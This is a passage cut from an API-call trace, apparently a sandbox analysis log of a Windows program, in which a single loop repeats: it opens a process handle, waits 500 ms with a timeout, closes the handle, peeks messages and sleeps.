(dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0267.046] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0267.546] CloseHandle (hObject=0x224) returned 1 [0267.546] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0267.546] Sleep (dwMilliseconds=0x1) [0267.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0267.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0268.097] CloseHandle (hObject=0x224) returned 1 [0268.097] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0268.097] Sleep (dwMilliseconds=0x1) [0268.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0268.108] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0268.624] CloseHandle (hObject=0x224) returned 1 [0268.624] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0268.624] Sleep (dwMilliseconds=0x1) [0268.640] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0268.640] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0269.155] CloseHandle (hObject=0x224) returned 1 [0269.155] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0269.155] Sleep (dwMilliseconds=0x1) [0269.190] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0269.190] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0269.696] CloseHandle (hObject=0x224) returned 1 [0269.696] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0269.696] Sleep (dwMilliseconds=0x1) [0269.703] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0269.703] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0270.204] CloseHandle (hObject=0x224) returned 1 [0270.204] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0270.204] Sleep (dwMilliseconds=0x1) [0270.219] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0270.219] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0270.719] CloseHandle (hObject=0x224) returned 1 [0270.719] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0270.719] Sleep (dwMilliseconds=0x1) [0270.735] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0270.735] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0271.235] CloseHandle (hObject=0x224) returned 1 [0271.235] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0271.235] Sleep (dwMilliseconds=0x1) [0271.250] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0271.251] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0271.787] CloseHandle (hObject=0x224) returned 1 [0271.787] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0271.787] Sleep (dwMilliseconds=0x1) [0271.797] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0271.797] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0272.305] CloseHandle (hObject=0x224) returned 1 [0272.305] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0272.305] Sleep (dwMilliseconds=0x1) [0272.313] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0272.313] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0272.890] CloseHandle (hObject=0x224) returned 1 [0272.890] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0272.890] Sleep (dwMilliseconds=0x1) [0272.907] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0272.907] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0273.407] CloseHandle (hObject=0x224) returned 1 [0273.407] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0273.407] Sleep (dwMilliseconds=0x1) [0273.426] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0273.426] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0273.924] CloseHandle (hObject=0x224) returned 1 [0273.924] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0273.924] Sleep (dwMilliseconds=0x1) [0273.938] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0273.938] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0274.447] CloseHandle (hObject=0x224) returned 1 [0274.447] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0274.447] Sleep (dwMilliseconds=0x1) [0274.462] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0274.462] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0274.978] CloseHandle (hObject=0x224) returned 1 [0274.978] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0274.978] Sleep (dwMilliseconds=0x1) [0274.994] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0274.994] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0275.493] CloseHandle (hObject=0x224) returned 1 [0275.493] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0275.493] Sleep (dwMilliseconds=0x1) [0275.526] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0275.526] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0276.129] CloseHandle (hObject=0x224) returned 1 [0276.129] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0276.129] Sleep (dwMilliseconds=0x1) [0276.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0276.139] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0276.638] CloseHandle (hObject=0x224) returned 1 [0276.638] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0276.638] Sleep (dwMilliseconds=0x1) [0276.654] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0276.654] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0277.169] CloseHandle (hObject=0x224) returned 1 [0277.169] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0277.169] Sleep (dwMilliseconds=0x1) [0277.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0277.184] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0277.700] CloseHandle (hObject=0x224) returned 1 [0277.700] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0277.700] Sleep (dwMilliseconds=0x1) [0277.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0277.716] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0278.232] CloseHandle (hObject=0x224) returned 1 [0278.232] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0278.232] Sleep (dwMilliseconds=0x1) [0278.251] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0278.251] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0278.773] CloseHandle (hObject=0x224) returned 1 [0278.773] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0278.773] Sleep (dwMilliseconds=0x1) [0278.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0278.778] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0279.294] CloseHandle (hObject=0x224) returned 1 [0279.294] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0279.294] Sleep (dwMilliseconds=0x1) [0279.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0279.310] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0279.816] CloseHandle (hObject=0x224) returned 1 [0279.816] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0279.816] Sleep (dwMilliseconds=0x1) [0279.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0279.827] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0280.327] CloseHandle (hObject=0x224) returned 1 [0280.327] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0280.327] Sleep (dwMilliseconds=0x1) [0280.342] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0280.342] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0280.858] CloseHandle (hObject=0x224) returned 1 [0280.858] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0280.858] Sleep (dwMilliseconds=0x1) [0280.874] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0280.874] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0281.374] CloseHandle (hObject=0x224) returned 1 [0281.374] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0281.374] Sleep (dwMilliseconds=0x1) [0281.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0281.389] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0281.905] CloseHandle (hObject=0x224) returned 1 [0281.905] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0281.905] Sleep (dwMilliseconds=0x1) [0281.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0281.920] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0282.421] CloseHandle (hObject=0x224) returned 1 [0282.421] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0282.421] Sleep (dwMilliseconds=0x1) [0282.437] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0282.437] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0282.937] CloseHandle (hObject=0x224) returned 1 [0282.937] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0282.937] Sleep (dwMilliseconds=0x1) [0282.954] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0282.954] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0283.467] CloseHandle (hObject=0x224) returned 1 [0283.467] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0283.467] Sleep (dwMilliseconds=0x1) [0283.486] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0283.486] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0283.999] CloseHandle (hObject=0x224) returned 1 [0283.999] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0283.999] Sleep (dwMilliseconds=0x1) [0284.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0284.014] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0284.514] CloseHandle (hObject=0x224) returned 1 [0284.514] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0284.514] Sleep (dwMilliseconds=0x1) [0284.516] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0284.516] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0285.023] CloseHandle (hObject=0x224) returned 1 [0285.023] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0285.023] Sleep (dwMilliseconds=0x1) [0285.038] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0285.038] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0285.553] CloseHandle (hObject=0x224) returned 1 [0285.553] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0285.554] Sleep (dwMilliseconds=0x1) [0285.569] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0285.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0286.076] CloseHandle (hObject=0x224) returned 1 [0286.076] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0286.076] Sleep (dwMilliseconds=0x1) [0286.091] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0286.091] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0286.591] CloseHandle (hObject=0x224) returned 1 [0286.591] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0286.591] Sleep (dwMilliseconds=0x1) [0286.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0286.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0287.107] CloseHandle (hObject=0x224) returned 1 [0287.107] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0287.107] Sleep (dwMilliseconds=0x1) [0287.123] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0287.123] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0287.622] CloseHandle (hObject=0x224) returned 1 [0287.622] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0287.622] Sleep (dwMilliseconds=0x1) [0287.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0287.638] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0288.138] CloseHandle (hObject=0x224) returned 1 [0288.138] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0288.138] Sleep (dwMilliseconds=0x1) [0288.154] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0288.154] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0288.678] CloseHandle (hObject=0x224) returned 1 [0288.678] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0288.678] Sleep (dwMilliseconds=0x1) [0288.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0288.685] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0289.185] CloseHandle (hObject=0x224) returned 1 [0289.185] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0289.185] Sleep (dwMilliseconds=0x1) [0289.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0289.201] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0289.721] CloseHandle (hObject=0x224) returned 1 [0289.721] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0289.721] Sleep (dwMilliseconds=0x1) [0289.732] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0289.732] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0290.456] CloseHandle (hObject=0x224) returned 1 [0290.456] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0290.456] Sleep (dwMilliseconds=0x1) [0290.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0290.466] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0291.012] CloseHandle (hObject=0x224) returned 1 [0291.042] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0291.042] Sleep (dwMilliseconds=0x1) [0291.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0291.044] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0291.544] CloseHandle (hObject=0x224) returned 1 [0291.544] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0291.544] Sleep (dwMilliseconds=0x1) [0291.560] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0291.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0292.076] CloseHandle (hObject=0x224) returned 1 [0292.076] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0292.076] Sleep (dwMilliseconds=0x1) [0292.091] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0292.091] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0292.597] CloseHandle (hObject=0x224) returned 1 [0292.597] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0292.597] Sleep (dwMilliseconds=0x1) [0292.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0292.607] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0293.122] CloseHandle (hObject=0x224) returned 1 [0293.122] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0293.122] Sleep (dwMilliseconds=0x1) [0293.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0293.138] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0293.676] CloseHandle (hObject=0x224) returned 1 [0293.676] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0293.676] Sleep (dwMilliseconds=0x1) [0293.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0293.685] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0294.204] CloseHandle (hObject=0x224) returned 1 [0294.204] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0294.204] Sleep (dwMilliseconds=0x1) [0294.216] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0294.216] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0294.731] CloseHandle (hObject=0x224) returned 1 [0294.731] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0294.731] Sleep (dwMilliseconds=0x1) [0294.743] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0294.743] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0295.259] CloseHandle (hObject=0x224) returned 1 [0295.259] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0295.259] Sleep (dwMilliseconds=0x1) [0295.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0295.273] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0295.816] CloseHandle (hObject=0x224) returned 1 [0295.816] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0295.816] Sleep (dwMilliseconds=0x1) [0295.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0295.825] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0296.326] CloseHandle (hObject=0x224) returned 1 [0296.326] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0296.326] Sleep (dwMilliseconds=0x1) [0296.341] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0296.341] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0296.856] CloseHandle (hObject=0x224) returned 1 [0296.856] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0296.856] Sleep (dwMilliseconds=0x1) [0296.872] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0296.872] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0297.404] CloseHandle (hObject=0x224) returned 1 [0297.404] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0297.404] Sleep (dwMilliseconds=0x1) [0297.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0297.419] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0297.919] CloseHandle (hObject=0x224) returned 1 [0297.919] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0297.919] Sleep (dwMilliseconds=0x1) [0297.981] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0297.981] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0298.466] CloseHandle (hObject=0x224) returned 1 [0298.466] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 